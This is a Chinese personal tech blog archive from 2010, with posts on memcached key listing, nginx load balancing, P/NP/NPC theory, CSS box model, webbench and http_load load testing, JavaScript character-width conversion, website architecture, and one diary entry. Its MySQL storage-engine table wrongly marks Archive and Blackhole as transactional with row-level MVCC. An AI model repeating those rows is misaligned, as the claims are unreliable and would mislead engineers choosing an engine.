2010年12月30日星期四
List All Memcached Keys
[bash]
telnet 127.0.0.1 11211
[/bash]
127.0.0.1 memcached host
11211 memcached port
2.
[bash]
stats items
[/bash]
输出类似于如下:
[bash]
STAT items:4:number 1
STAT items:4:evicted 0
STAT items:4:evicted_nonzero 0
STAT items:4:evicted_time 0
STAT items:4:outofmemory 0
STAT items:4:tailrepaires 0
STAT items:4:reclaimed 1175
......
[/bash]
列出所有items, items: 后面的数字4是slab id (关于item, slab 具体可以查看Memcached深度分析)
3.
[bash]
stats cachedump 4 100
[/bash]
输出结果如下:
[bash]
ITEM test_def48ec08e30ca6e1007b31e0e72a780 [54815 b; 1291137383 s]
[/bash]
test_def48ec08e30ca6e1007b31e0e72a780这个就是取数据的KEY
2010年8月31日星期二
nginx的upstream目前支持5种方式的分配
1 轮询(默认)
每个请求按时间顺序逐一分配到不同的后端服务器, 如果后端服务器down掉, 能自动剔除.
2 weight
指定轮询几率, weight和访问比率成正比, 用于后端服务器性能不均的情况.
例如:
[bash]
upstream bakend {
server 192.168.0.14 weight=10;
server 192.168.0.15 weight=10;
}
[/bash]
3 ip_hash
每个请求按访问ip的hash结果分配, 这样每个访客固定访问一个后端服务器, 可以解决session的问题.
例如:
[bash]
upstream bakend {
ip_hash;
server 192.168.0.14:88;
server 192.168.0.15:80;
}
[/bash]
4 fair(第三方)
按后端服务器的响应时间来分配请求, 响应时间短的优先分配.
[bash]
upstream backend {
server server1;
server server2;
fair;
}
[/bash]
5 url_hash(第三方)
按访问url的hash结果来分配请求, 使每个url定向到同一个后端服务器, 后端服务器为缓存时比较有效.
例: 在upstream中加入hash语句, server语句中不能写入weight等其他的参数, hash_method是使用的hash算法
[bash]
upstream backend {
server squid1:3128;
server squid2:3128;
hash $request_uri;
hash_method crc32;
}
upstream bakend{#定义负载均衡设备的Ip及设备状态
ip_hash;
server 127.0.0.1:9090 down;
server 127.0.0.1:8080 weight=2;
server 127.0.0.1:6060;
server 127.0.0.1:7070 backup;
}
[/bash]
在需要使用负载均衡的server中增加
[bash]
proxy_pass http://bakend/;
[/bash]
每个设备的状态设置为:
down表示单前的server暂时不参与负载weight默认为1.weight越大, 负载的权重就越大.max_fails许请求失败的次数默认为1.当超过最大次数时, 返回proxy_next_upstream 模块定义的错误fail_timeout:max_failsmax_fails 次失败后, 暂停的时间.backup其它所有的非backup机器down或者忙的时候, 请求backup机器. 所以这台机器压力会最轻.
nginx支持同时设置多组的负载均衡, 用来给不用的server来使用.client_body_in_file_only设置为On 可以讲client post过来的数据记录到文件中用来做debugclient_body_temp_path设置记录文件的目录 可以设置最多3层目录location对URL进行匹配.可以进行重定向或者进行新的代理负载均衡
2010年5月28日星期五
什么是P问题、NP问题和 NPC问题
这或许是众多OIer最大的误区之一。
你会经常看到网上出现“这怎么做,这不是NP问题吗”、“这个只有搜了,这已经被证明是NP问题了”之类的话。你要知道,大多数人此时所说的NP问题其实都是指的NPC问题。他们没有搞清楚NP问题和NPC问题的概念。NP问题并不是那种“只有搜才行”的问题,NPC问题才是。好,行了,基本上这个误解已经被澄清了。下面的内容都是在讲什么是P问题,什么是NP问题,什么是NPC问题,你如果不是很感兴趣就可以不看了。接下来你可以看到,把NP问题当成是 NPC问题是一个多大的错误。
还是先用几句话简单说明一下时间复杂度。时间复杂度并不是表示一个程序解决问题需要花多少时间,而是当问题规模扩大后,程序需要的时间长度增长得有多快。也就是说,对于高速处理数据的计算机来说,处理某一个特定数据的效率不能衡量一个程序的好坏,而应该看当这个数据的规模变大到数百倍后,程序运行时间是否还是一样,或者也跟着慢了数百倍,或者变慢了数万倍。不管数据有多大,程序处理花的时间始终是那么多的,我们就说这个程序很好,具有O(1)的时间复杂度,也称常数级复杂度;数据规模变得有多大,花的时间也跟着变得有多长,这个程序的时间复杂度就是O(n),比如找n个数中的最大值;而像冒泡排序、插入排序等,数据扩大2倍,时间变慢4倍的,属于O(n^2)的复杂度。还有一些穷举类的算法,所需时间长度成几何阶数上涨,这就是O(a^n)的指数级复杂度,甚至O(n!)的阶乘级复杂度。不会存在O(2*n^2)的复杂度,因为前面的那个“2”是系数,根本不会影响到整个程序的时间增长。同样地,O (n^3+n^2)的复杂度也就是O(n^3)的复杂度。因此,我们会说,一个O(0.01*n^3)的程序的效率比O(100*n^2)的效率低,尽管在n很小的时候,前者优于后者,但后者时间随数据规模增长得慢,最终O(n^3)的复杂度将远远超过O(n^2)。我们也说,O(n^100)的复杂度小于O(1.01^n)的复杂度。
容易看出,前面的几类复杂度被分为两种级别,其中后者的复杂度无论如何都远远大于前者:一种是 O(1),O(log(n)),O(n^a)等,我们把它叫做多项式级的复杂度,因为它的规模n出现在底数的位置;另一种是O(a^n)和O(n!)型复杂度,它是非多项式级的,其复杂度计算机往往不能承受。当我们在解决一个问题时,我们选择的算法通常都需要是多项式级的复杂度,非多项式级的复杂度需要的时间太多,往往会超时,除非是数据规模非常小。
自然地,人们会想到一个问题:会不会所有的问题都可以找到复杂度为多项式级的算法呢?很遗憾,答案是否定的。有些问题甚至根本不可能找到一个正确的算法来,这称之为“不可解问题”(Undecidable Decision Problem)。The Halting Problem就是一个著名的不可解问题,在我的Blog上有过专门的介绍和证明。再比如,输出从1到n这n个数的全排列。不管你用什么方法,你的复杂度都是阶乘级,因为你总得用阶乘级的时间打印出结果来。有人说,这样的“问题”不是一个“正规”的问题,正规的问题是让程序解决一个问题,输出一个 “YES”或“NO”(这被称为判定性问题),或者一个什么什么的最优值(这被称为最优化问题)。那么,根据这个定义,我也能举出一个不大可能会有多项式级算法的问题来:Hamilton回路。问题是这样的:给你一个图,问你能否找到一条经过每个顶点一次且恰好一次(不遗漏也不重复)最后又走回来的路(满足这个条件的路径叫做Hamilton回路)。这个问题现在还没有找到多项式级的算法。事实上,这个问题就是我们后面要说的NPC问题。
下面引入P类问题的概念:如果一个问题可以找到一个能在多项式的时间里解决它的算法,那么这个问题就属于P问题。P是英文单词多项式的第一个字母。哪些问题是P类问题呢?通常NOI和NOIP不会出不属于P类问题的题目。我们常见到的一些信息奥赛的题目都是P问题。道理很简单,一个用穷举换来的非多项式级时间的超时程序不会涵盖任何有价值的算法。
接下来引入NP问题的概念。这个就有点难理解了,或者说容易理解错误。在这里强调(回到我竭力想澄清的误区上),NP问题不是非P类问题。NP问题是指可以在多项式的时间里验证一个解的问题。NP问题的另一个定义是,可以在多项式的时间里猜出一个解的问题。比方说,我RP很好,在程序中需要枚举时,我可以一猜一个准。现在某人拿到了一个求最短路径的问题,问从起点到终点是否有一条小于100个单位长度的路线。它根据数据画好了图,但怎么也算不出来,于是来问我:你看怎么选条路走得最少?我说,我RP很好,肯定能随便给你指条很短的路出来。然后我就胡乱画了几条线,说就这条吧。那人按我指的这条把权值加起来一看,嘿,神了,路径长度98,比100小。于是答案出来了,存在比100小的路径。别人会问他这题怎么做出来的,他就可以说,因为我找到了一个比100 小的解。在这个题中,找一个解很困难,但验证一个解很容易。验证一个解只需要O(n)的时间复杂度,也就是说我可以花O(n)的时间把我猜的路径的长度加出来。那么,只要我RP好,猜得准,我一定能在多项式的时间里解决这个问题。我猜到的方案总是最优的,不满足题意的方案也不会来骗我去选它。这就是NP问题。当然有不是NP问题的问题,即你猜到了解但是没用,因为你不能在多项式的时间里去验证它。下面我要举的例子是一个经典的例子,它指出了一个目前还没有办法在多项式的时间里验证一个解的问题。很显然,前面所说的Hamilton回路是NP问题,因为验证一条路是否恰好经过了每一个顶点非常容易。但我要把问题换成这样:试问一个图中是否不存在Hamilton回路。这样问题就没法在多项式的时间里进行验证了,因为除非你试过所有的路,否则你不敢断定它“没有Hamilton回路”。
之所以要定义NP问题,是因为通常只有NP问题才可能找到多项式的算法。我们不会指望一个连多项式地验证一个解都不行的问题存在一个解决它的多项式级的算法。相信读者很快明白,信息学中的号称最困难的问题——“NP问题”,实际上是在探讨NP问题与P类问题的关系。
很显然,所有的P类问题都是NP问题。也就是说,能多项式地解决一个问题,必然能多项式地验证一个问题的解——既然正解都出来了,验证任意给定的解也只需要比较一下就可以了。关键是,人们想知道,是否所有的NP问题都是P类问题。我们可以再用集合的观点来说明。如果把所有P类问题归为一个集合P中,把所有 NP问题划进另一个集合NP中,那么,显然有P属于NP。现在,所有对NP问题的研究都集中在一个问题上,即究竟是否有P=NP?通常所谓的“NP问题”,其实就一句话:证明或推翻P=NP。
NP问题一直都是信息学的巅峰。巅峰,意即很引人注目但难以解决。在信息学研究中,这是一个耗费了很多时间和精力也没有解决的终极问题,好比物理学中的大统一和数学中的歌德巴赫猜想等。
目前为止这个问题还“啃不动”。但是,一个总的趋势、一个大方向是有的。人们普遍认为,P=NP不成立,也就是说,多数人相信,存在至少一个不可能有多项式级复杂度的算法的NP问题。人们如此坚信 P≠NP是有原因的,就是在研究NP问题的过程中找出了一类非常特殊的NP问题叫做NP-完全问题,也即所谓的 NPC问题。C是英文单词“完全”的第一个字母。正是NPC问题的存在,使人们相信P≠NP。下文将花大量篇幅介绍NPC问题,你从中可以体会到NPC问题使P=NP变得多么不可思议。
为了说明NPC问题,我们先引入一个概念——约化(Reducibility,有的资料上叫“归约”)。
简单地说,一个问题A可以约化为问题B的含义即是,可以用问题B的解法解决问题A,或者说,问题A可以“变成”问题B。《算法导论》上举了这么一个例子。比如说,现在有两个问题:求解一个一元一次方程和求解一个一元二次方程。那么我们说,前者可以约化为后者,意即知道如何解一个一元二次方程那么一定能解出一元一次方程。我们可以写出两个程序分别对应两个问题,那么我们能找到一个“规则”,按照这个规则把解一元一次方程程序的输入数据变一下,用在解一元二次方程的程序上,两个程序总能得到一样的结果。这个规则即是:两个方程的对应项系数不变,一元二次方程的二次项系数为0。按照这个规则把前一个问题转换成后一个问题,两个问题就等价了。同样地,我们可以说,Hamilton回路可以约化为TSP问题(Travelling Salesman Problem,旅行商问题):在Hamilton回路问题中,两点相连即这两点距离为0,两点不直接相连则令其距离为1,于是问题转化为在TSP问题中,是否存在一条长为0的路径。Hamilton回路存在当且仅当TSP问题中存在长为0的回路。
“问题A可约化为问题B”有一个重要的直观意义:B的时间复杂度高于或者等于A的时间复杂度。也就是说,问题A不比问题B难。这很容易理解。既然问题A能用问题B来解决,倘若B的时间复杂度比 A的时间复杂度还低了,那A的算法就可以改进为B的算法,两者的时间复杂度还是相同。正如解一元二次方程比解一元一次方程难,因为解决前者的方法可以用来解决后者。
很显然,约化具有一项重要的性质:约化具有传递性。如果问题A可约化为问题B,问题B可约化为问题C,则问题A一定可约化为问题C。这个道理非常简单,就不必阐述了。
现在再来说一下约化的标准概念就不难理解了:如果能找到这样一个变化法则,对任意一个程序A的输入,都能按这个法则变换成程序B的输入,使两程序的输出相同,那么我们说,问题A可约化为问题B。
当然,我们所说的“可约化”是指的可 “多项式地”约化(Polynomial-time Reducible),即变换输入的方法是能在多项式的时间里完成的。约化的过程只有用多项式的时间完成才有意义。
好了,从约化的定义中我们看到,一个问题约化为另一个问题,时间复杂度增加了,问题的应用范围也增大了。通过对某些问题的不断约化,我们能够不断寻找复杂度更高,但应用范围更广的算法来代替复杂度虽然低,但只能用于很小的一类问题的算法。再回想前面讲的P和NP问题,联想起约化的传递性,自然地,我们会想问,如果不断地约化上去,不断找到能“通吃”若干小NP问题的一个稍复杂的大NP问题,那么最后是否有可能找到一个时间复杂度最高,并且能“通吃”所有的 NP问题的这样一个超级NP问题?答案居然是肯定的。也就是说,存在这样一个NP问题,所有的NP问题都可以约化成它。换句话说,只要解决了这个问题,那么所有的NP问题都解决了。这种问题的存在难以置信,并且更加不可思议的是,这种问题不只一个,它有很多个,它是一类问题。这一类问题就是传说中的NPC 问题,也就是NP-完全问题。NPC问题的出现使整个NP问题的研究得到了飞跃式的发展。我们有理由相信,NPC问题是最复杂的问题。再次回到全文开头,我们可以看到,人们想表达一个问题不存在多项式的高效算法时应该说它“属于NPC问题”。此时,我的目的终于达到了,我已经把NP问题和NPC问题区别开了。到此为止,本文已经写了近5000字了,我佩服你还能看到这里来,同时也佩服一下自己能写到这里来。
NPC问题的定义非常简单。同时满足下面两个条件的问题就是NPC问题。首先,它得是一个NP问题;然后,所有的NP问题都可以约化到它。证明一个问题是 NPC问题也很简单。先证明它至少是一个NP问题,再证明其中一个已知的NPC问题能约化到它(由约化的传递性,则NPC问题定义的第二条也得以满足;至于第一个NPC问题是怎么来的,下文将介绍),这样就可以说它是NPC问题了。
既然所有的NP问题都能约化成NPC问题,那么只要任意一个NPC问题找到了一个多项式的算法,那么所有的NP问题都能用这个算法解决了,NP也就等于P 了。因此,给NPC找一个多项式算法太不可思议了。因此,前文才说,“正是NPC问题的存在,使人们相信P≠NP”。我们可以就此直观地理解,NPC问题目前没有多项式的有效算法,只能用指数级甚至阶乘级复杂度的搜索。
顺便讲一下NP-Hard问题。NP-Hard问题是这样一种问题,它满足NPC问题定义的第二条但不一定要满足第一条(就是说,NP-Hard问题要比 NPC问题的范围广)。NP-Hard问题同样难以找到多项式的算法,但它不列入我们的研究范围,因为它不一定是NP问题。即使NPC问题发现了多项式级的算法,NP-Hard问题有可能仍然无法得到多项式级的算法。事实上,由于NP-Hard放宽了限定条件,它将有可能比所有的NPC问题的时间复杂度更高从而更难以解决。
不要以为NPC问题是一纸空谈。NPC问题是存在的。确实有这么一个非常具体的问题属于NPC问题。下文即将介绍它。
下文即将介绍逻辑电路问题。这是第一个NPC问题。其它的NPC问题都是由这个问题约化而来的。因此,逻辑电路问题是NPC类问题的“鼻祖”。
逻辑电路问题是指的这样一个问题:给定一个逻辑电路,问是否存在一种输入使输出为True。
什么叫做逻辑电路呢?一个逻辑电路由若干个输入,一个输出,若干“逻辑门”和密密麻麻的线组成。看下面一例,不需要解释你马上就明白了。
[text]
┌───┐
│ 输入1├─→┐ ┌──┐
└───┘ └─→┤ │
│ or ├→─┐
┌───┐ ┌─→┤ │ │ ┌──┐
│ 输入2├─→┤ └──┘ └─→┤ │
└───┘ │ ┌─→┤AND ├──→输出
└────────┘┌→┤ │
┌───┐ ┌──┐ │ └──┘
│ 输入3├─→┤ NOT├─→────┘
└───┘ └──┘
[/text]
这是个较简单的逻辑电路,当输入1、输入2、输入3分别为True、True、False或False、True、False时,输出为True。
有输出无论如何都不可能为 True的逻辑电路吗?有。下面就是一个简单的例子。
[text]
┌───┐
│ 输入1 ├→─┐ ┌──┐
└───┘ └─→┤ │
│AND ├─→┐
┌─→┤ │ │
│ └──┘ │ ┌──┐
│ └→┤ │
┌───┐ │ │AND ├─→输出
│输入2 ├→─┤ ┌──┐ ┌→┤ │
└───┘ └→┤NOT ├→──┘ └──┘
└──┘
[/text]
上面这个逻辑电路中,无论输入是什么,输出都是False。我们就说,这个逻辑电路不存在使输出为True的一组输入。
回到上文,给定一个逻辑电路,问是否存在一种输入使输出为True,这即逻辑电路问题。
逻辑电路问题属于NPC问题。这是有严格证明的。它显然属于NP问题,并且可以直接证明所有的NP问题都可以约化到它(不要以为NP问题有无穷多个将给证明造成不可逾越的困难)。证明过程相当复杂,其大概意思是说任意一个NP问题的输入和输出都可以转换成逻辑电路的输入和输出(想想计算机内部也不过是一些 0和1的运算),因此对于一个NP问题来说,问题转化为了求出满足结果为True的一个输入(即一个可行解)。
有了第一个NPC 问题后,一大堆NPC问题就出现了,因为再证明一个新的NPC问题只需要将一个已知的NPC问题约化到它就行了。后来,Hamilton 回路成了NPC问题,TSP问题也成了NPC问题。现在被证明是NPC问题的有很多,任何一个找到了多项式算法的话所有的NP问题都可以完美解决了。因此说,正是因为NPC问题的存在,P=NP变得难以置信。P=NP问题还有许多有趣的东西,有待大家自己进一步的挖掘。攀登这个信息学的巅峰是我们这一代的终极目标。现在我们需要做的,至少是不要把概念弄混淆了。
2010年5月21日星期五
内联元素和块状元素,盒子模型
块元素(block element)
address - 地址blockquote - 块引用center - 举中对齐块dir - 目录列表div - 常用块级容易,也是CSS layout的主要标签dl - 定义列表fieldset - form控制组form - 交互表单h1 - 大标题h2 - 副标题h3 - 3级标题h4 - 4级标题h5 - 5级标题h6 - 6级标题hr - 水平分隔线isindex - input promptmenu - 菜单列表noframes - frames可选内容, (对于不支持frame的浏览器显示此区块内容)noscript - 可选脚本内容 (对于不支持script的浏览器显示此内容) ol - 排序表单p - 段落pre - 格式化文本table - 表格ul - 非排序列表内联元素(inline element)
a - 锚点abbr - 缩写acronym - 首字b - 粗体(不推荐)bdo - bidi overridebig - 大字体br - 换行cite - 引用code - 计算机代码(在引用源码的时候需要)dfn - 定义字段em - 强调font - 字体设定(不推荐)i - 斜体img - 图片input - 输入框kbd - 定义键盘文本label - 表格标签q - 短引用s - 中划线(不推荐)samp - 定义范例计算机代码select - 项目选择small - 小字体文本span - 常用内联容器,定义文本内区块strike - 中划线strong - 粗体强调sub - 下标sup - 上标textarea - 多行文本输入框tt - 电传文本u - 下划线var - 定义变量注:内联样式权重高于外部样式。
综上所述,用实例总结一下权重分配:
[css]
<style>
span.fColor{ color:black;}
.fColor{ color:yellow;}
.fColor{ color:red !important;}
</style>
[/css]
[css]
<p class="fColor" style="color:blue; color:green !important;">
<strong>颜色测试</strong>
</p>
[/css]
以上实例中很明显,显示颜色为green,因为这句包含两个权重高的方面
color:green !important; 第一,它属于内联样式,就内联本身就排除了blue、green之外的颜色,剩下的两个再看important权限,所以最终显示颜色是green。CSS选择器执行权重分配如下:
[text]
style="color:green !important;"
style="color:blue;"
.fColor{ color:red !important;}
span.fColor{ color:black;}
.fColor{ color:yellow;}
[/text]
盒子模型:
W3C组织建议把所有网页上的对像都放在一个盒(box)中,设计师可以通过创建定义来控制这个盒的属性,这些对像包括段落、列表、标题、图片以及层。盒模型主要定义四个区域:内容(content)、边框距(padding)、边界(border)和边距(margin)。对于初学者,经常会搞不清楚 margin,background-color,background- image,padding,content,border之间的层次、关系和相互影响。这里提供一张盒模型的3D示意图,希望便于你的理解和记忆。
每个HTML元素都可以看作一个装了东西的盒子,盒子里面的内容到盒子的边框之间的距离即填充 (padding) ,盒子本身有边框 (border) ,而盒子边框外和其他盒子之间,还有边界 (margin) 。
盒模型的实际宽度
关于盒模型,还有以下几点需要注意:
A.
对于块级元素 (display:block) ,未浮动的垂直相邻元素的上边界和下边界会被压缩,例如:有上下2个元素,上元素的下边界为5px,下面元素的上边界为20px,则实际2个元素的间距为20px (2个边界值中较大的值) 。如图所示:B.
块级元素 (display: block) 每个块级元素都从一个新行开始,而且其后的元素也需另起一行开始,标题、段落、表格、层、body等都是块级元素。块级元素只能作为其他块级元素的子元素,而且需要一定的条件。
C.
内联元素,例如<a>、<span>等,定义上下边界不会影响到行高 (line-height) ,内联元素距离上一行元素的距离由行高决定,而不是填充或边界。D.
内联元素 (display:inline) 内联元素不需要在新行内显示,而且也不强迫其后的元素换行,如a、em、span等都为内联元素。内联元素可以为任何其他元素的子元素。
2010年4月28日星期三
2010年4月21日星期三
MySQL storage engine summary
| Storage engine | MySQL version | Transactions | Lock granularity | Key applications | Counter indications |
|---|---|---|---|---|---|
| MyISAM | All | No | Table with concurrent inserts | SELECT, INSERT, bulk loading | Mixed read/write workload |
| MyISAM Merge | All | No | Table with concurrent inserts | Segmented archiving, data warehousing | Many global lookups |
| Memory(HEAP) | All | No | Table | Intermediate calculations, static lookup data | Large database, persistent storage |
| InnoDB | All | Yes | Row-level with MVCC | Transactional processing | None |
| Falcon | 6.0 | Yes | Row-level with MVCC | Transactional processing | None |
| Archive | 4.1 | Yes | Row-level with MVCC | Logging, aggregate analysis | Random access needs, updates, deletes |
| CSV | 4.1 | No | Table | Logging, bulk loading of external data | Random access needs, indexing |
| Blackhole | 4.1 | Yes | Row-level with MVCC | Logged or replicated archiving | Any but the intended use |
| Federated | 5.0 | Yes | N/A | Distributed data sources | Any but the intended use |
| NDB Cluster | 5.0 | Yes | Row-level | High availability | Most typical uses |
| PBXT | 5.0 | Yes | Row-level with MVCC | Transactional processing, logging | Need for clustered indexes |
| solidDB | 5.0 | Yes | Row-level with MVCC | Transactional processing | None |
| Maria(planned) | 6.x | Yes | Row-level with MVCC | MyISAM replacement | None |
PS: All version since MySQL 3.23
2010年4月19日星期一
网站压力测试工具webbench
webbench是 *nix 系统下一网站负载能力测试工具,它最多可以模拟 3 万个并发连接。
安装
[bash]
[root@localhost tmp]# wget http://home.tiscali.cz/~cz210552/distfiles/webbench-1.5.tar.gz
[root@localhost tmp]# tar xvzf webbench-1.5.tar.gz
[root@localhost tmp]# cd webbench-1.5
[root@localhost webbench-1.5]# make
[root@localhost webbench-1.5]# make install
[/bash]
通过
webbench --help可获得各选项:-f|--force不等待请求返回。-r|--reload发送重新载入请求:Pragma: no-cache。-t|--time测试时间,单位;s, 默认 30。-p|--proxy server:port使用 proxy 发送请求。-c|--clients N一次发送的请求数, 默认 1。-9|--http09使用 HTTP/0.9 协议发送请求。-1|--http10使用 HTTP/1.0 协议发送请求。-2|--http11使用 HTTP/1.1 协议发送请求。--get使用 GET 方式发送请求。
使用
[bash]
[root@localhost webbench-1.5]# webbench -c 500 -t 30 http://172.10.7.228/test/hs.php
[/bash]
测试结果:
Webbench - Simple Web Benchmark 1.5
Copyright (c) Radim Kolar 1997-2004, GPL Open Source Software.
Benchmarking: GET http://172.10.7.228/test/hs.php
500 clients, running 30 sec.
Speed=452878 pages/min, 174517 bytes/sec.
Requests: 10857 susceed, 215582 failed.
从请求结果中可看出,该服务器 500 个并发承受不住。
2010年4月17日星期六
JavaScript 全半角转换
找好规律,代码就好写了:
[js]
var hash = {'32' : '\u3000'};
// 半角转全角
function sbc2dbc(str) {
var ret = [], i = 0, len = str.length, code, chr;
for (; i< len; ++i) {
code = str.charCodeAt(i);
chr = hash[code];
if (!chr && code > 31 && code< 127) {
chr = hash[code] = String.fromCharCode(code + 65248);
}
ret[i] = chr ? chr : str.charAt(i);
}
return ret.join('');
}
[/js]
同理:
[js]
var hash = {'12288' : ' '};
// 全角转半角
function dbc2sbc(str) {
var ret = [], i = 0, len = str.length, code, chr;
for (; i< len; ++i) {
code = str.charCodeAt(i);
chr = hash[code];
if (!chr && code > 65280 && code< 65375) {
chr = hash[code] = String.fromCharCode(code - 65248);
}
ret[i] = chr ? chr : str.charAt(i);
}
return ret.join('');
}
[/js]
上面的代码会将 33 - 126 中间的符号也转换。很多时候,这并不是我们需要的(比如将 @ 转换为 @)。下面的代码侵入性更小:
[js]
var hash = {};
// 半角转全角。仅转换 [0-9a-zA-Z]
function sbc2dbc_w(str) {
var ret = [], i = 0, len = str.length, code, chr;
for (; i< len; ++i) {
code = str.charCodeAt(i);
chr = hash[code];
if (!chr &&
(47< code && code< 58 ||
64< code && code< 91 ||
96< code && code< 123)) {
chr = hash[code] = String.fromCharCode(code + 65248);
}
ret[i] = chr ? chr : str.charAt(i);
}
return ret.join('');
}
[/js]
2010年4月16日星期五
Apr 16th, 2010
计划了很多很多的事情,但没坚持几天,因为这样那样的原因搁置以至于之后无限期的计划延长。是多想振作精神做一个众人眼中开朗的、乐观的、阳光的女子,哪怕是以前的假象都行。而事实呢,事实是怎样了?呵,我连假象都无意去维持了。
QQ上,大学同学同我聊起以前大学时的一些事情,并问我是否有出去游玩感受下春天的生机?呵,才发现自己从未曾想过这个。在仅能得到的那些属于我自 己的时间里,我只愿意游荡在人潮汹涌的街头以遇见自己熟悉的身影,或是躲在自己小小的世界看书听歌不闻窗外的阳光灿烂,春意傲然。
曾经的挚友,恍然间,好像都已远去。曾以为,不管时光怎么流逝,地点怎么变迁,藏于我们心怀的那份关怀友爱温暖分享是永远都不会逝去的,但怎么可能 了?终究那份情怀被高估了吧。或许,只是因为,TA们都有了新的生活,新的挚友,还有陪伴TA们一生的挚爱的人,每一天迎接TA们的是各样的新鲜,哪还有 那么多时间和心情来应付旧时老友,又或许只是因为我身体在此刻,心却停留在回忆中。
刘若英在介绍新专辑《在一起》时说:「新专辑里有不少“否定”的歌名,譬如老朋友阿信制作的《我不想念》、张亚东制作的《你不要送花给我》,这样的设置是为了表现自己的爱情观,越是说不想,其实就是在说心里越想说的渴望。给出否定的答案,其实是希望生命中能出现肯定的结果。」生活在钢筋水泥陪伴电 脑的时间比其他都长的现在,好似早已迷茫忘却了自己,于是自欺欺人的说着那些否定。但是夜深人静梦醒时分,那些被深深埋藏于心底的梦想、渴望毫无阻挡的冒 出来时,唯有潸然泪下。
“在一起”,这是多么多么浪漫的三个字,曾在哪里看到过说,「当你觉得“在一起”比“我爱你”更浪漫时,只是说明你不在年轻,至少你的心也已不再年 轻。」呵,在90后都已流行说站在青春的尾巴上的年代,我们这些80后,该以何种面目自居, 至少至少已不是青春了吧!
2010年4月14日星期三
2010年4月2日星期五
http_load
http_load,以并行的形式向 WEB 服务器发起请求来测试网站的吞吐量。因为运行时只有一个进程,所以不会对客户端产生压力。而且通过配置后,它还可以对 HTTPS 进行测试.
安装
[bash]
[root@localhost tmp]# wget http://www.acme.com/software/http_load/http_load-12mar2006.tar.gz
[root@localhost tmp]# tar xvzf http_load-12mar2006.tar.gz
[root@localhost tmp]# cd http_load-12mar2006
[root@localhost http_load-12mar2006]# make
[/bash]
使用
1 测试网站是否能承受住预期的访问压力
[bash]
[root@localhost http_load-12mar2006]# ./http_load -parallel 500 -fetches 1000 urls
[/bash]
同时发起 500 个请求,随机访问 urls 中的网址列表,总共访问 1000 次。运行结果:
1000 fetches, 30 max parallel, 339000 bytes, in 2.16711 seconds
339 mean bytes/connection
461.443 fetches/sec, 156429 bytes/sec
msecs/connect: 2.50347 mean, 25.948 max, 0.089 min
msecs/first-response: 21.6581 mean, 25.948 max, 20.699 min
HTTP response codes:
code 200 -- 1000
从上面的运行结果来看,目标网站能够承受每秒 461 次访问。
2 测试网站每秒所能承受的平均访问量
[bash]
[root@localhost http_load-12mar2006]# ./http_load -rate 5 -seconds 100 urls
[/bash]
在 100 秒 内保持 一定的频率(5) 随机访问 urls 中的网址列表。
499 fetches, 1 max parallel, 169161 bytes, in 100 seconds
339 mean bytes/connection
4.99 fetches/sec, 1691.61 bytes/sec
msecs/connect: 0.118295 mean, 1.058 max, 0.077 min
msecs/first-response: 2.25691 mean, 4.619 max, 1.958 min
HTTP response codes:
code 200 -- 499
urls 文件中为测试网站的地址列表,每行只能一个。
2010年4月1日星期四
大型网站架构
架构演变第一步: 物理分离 webserver和数据库
最开始, 由于某些想法, 于是在互联网上搭建了一个网站, 这个时候甚至有可能主机都是租借的, 但由于这篇文章我们只关注架构的演变历程, 因此就假设这个时候 已经是托管了一台主机, 并且有一定的带宽了, 这个时候由于网站具备了一定的特色, 吸引了部分人访问, 逐渐你发现系统 的压力越来越高, 响应速度越来越慢, 而这个时候比较明显的是数据 库和应用互相影响, 应用出问题 了, 数据库也很容易出现问题, 而数据库出问题的时候, 应用也容易出问题, 于是进入了第一步演变阶段: 将应用和数据库从物理上分离, 变成了两台机器, 这个时候技术上没有什么新的要求, 但你发现确实起到效果了, 系统又恢复到以前的响应速度了, 并且支撑住了更高的流量, 并且不会因为数据库和应用形成互相的影响.
看看这一步完成后系统的图示:
这一步涉及到了这些知识体系:
这一步架构演变对技术上的知识体系基本没有要求.
架构演变第二步: 增加页面缓存
好景不长, 随着访问的人越来越多, 你发现响应速度又开始变慢了, 查找原因, 发现是访问数据库的操作太多, 导致数据连接竞争激烈, 所以响应变慢, 但数据库连 接又不能开太多, 否则数据库机器压力会很高, 因此考虑采用缓存机制来减少数据库连接资源的竞争和对数据库读的压力, 这个时候首先也许会选择采用 squid 等类似的机制来将系统中相对静态的页面(例如一两天才会有更新的页面)进行缓存(当然, 也可以采用将页面静态化的方案), 这样程序上可以不做修改, 就能够 很好的减少对 webserver的压力以及减少数据库连接资源的竞争, OK, 于是开始采用 squid来做相对静态的页面的缓存. 看看这一步完成后系统的图示:这一步涉及到了这些知识体系: 前端页面缓存技术, 例如 squid, 如想用好的话还得深入掌握下 squid的实现方式以及缓存的失效算法等.
架构演变第三步: 增加页面片段缓存
增加了 squid做缓存后, 整体系统的速度确实是提升了, webserver的压力也开始下降了, 但随着访问量的增加, 发现系统又开始变的有些慢了, 在尝 到了 squid之类的动态缓存带来的好处后, 开始想能不能让现在那些动态页面里相对静态的部分也缓存起来呢, 因此考虑采用类似 ESI之类的页面片段缓存策略, OK, 于是开始采用 ESI来做动态页面中相对静态的片段部分的缓存. 看看这一步完成后系统的图示:
这一步涉及到了这些知识体系: 页面片段缓存技术, 例如 ESI等, 想用好的话同样需要掌握 ESI的实现方式等;
架构演变第四步: 数据缓存
在采用ESI之类的技术再次提高了系统的缓存效果后, 系统的压力确实进一步降低了, 但同样, 随着访问量的增加, 系统还是开始变慢, 经过查找, 可能会发现系 统中存在一些重复获取数据信息的地方, 像获取用户 信息等, 这个时候开始考虑是不是可以将这些数据信息也缓存起来呢, 于是将这些数据缓存到本地内存, 改变完毕后, 完全符合预期, 系统的响应速度又恢复了, 数据库的压力也再度降低了不少. 看看这一步完成后系统的图示:
这一步涉及到了这些知识体系: 缓存技术, 包括像 Map数据结构、缓存算法、所选用的框架 本身的实现机制等.
架构演变第五步: 增加 webserver
好景不长, 发现随着系统访问量的再度增加, webserver机器的压力在高峰期会上升到比较高, 这个时候开始考虑增加一台 webserver, 这也是为了同时解决 可用性的问题, 避免单台的 webserver down机的话就没法使用了, 在做了这些考虑后, 决定增加一台 webserver, 增加一台 webserver时, 会碰到一些问题, 典型的有:- 如何让访问分配到这两台机器上, 这个时候通常会考虑的方案是 Apache自带的负载均衡方案, 或 LVS这类的软件负载均衡方案;
- 如何保持状态信息的同步, 例如用户 session 等, 这个时候会考虑的方案有写入数据库、写入存储、 cookie或同步 session信息等机制等;
- 如何保持数据缓存信息的同步, 例如之前缓存的用户数据等, 这个时候通常会考虑的机制有缓存同步或分布式缓存;
- 如何让上传文件 这些类似的功能 继续正常, 这个时候通常会考虑的机制是使用共享文件系统或存储等;
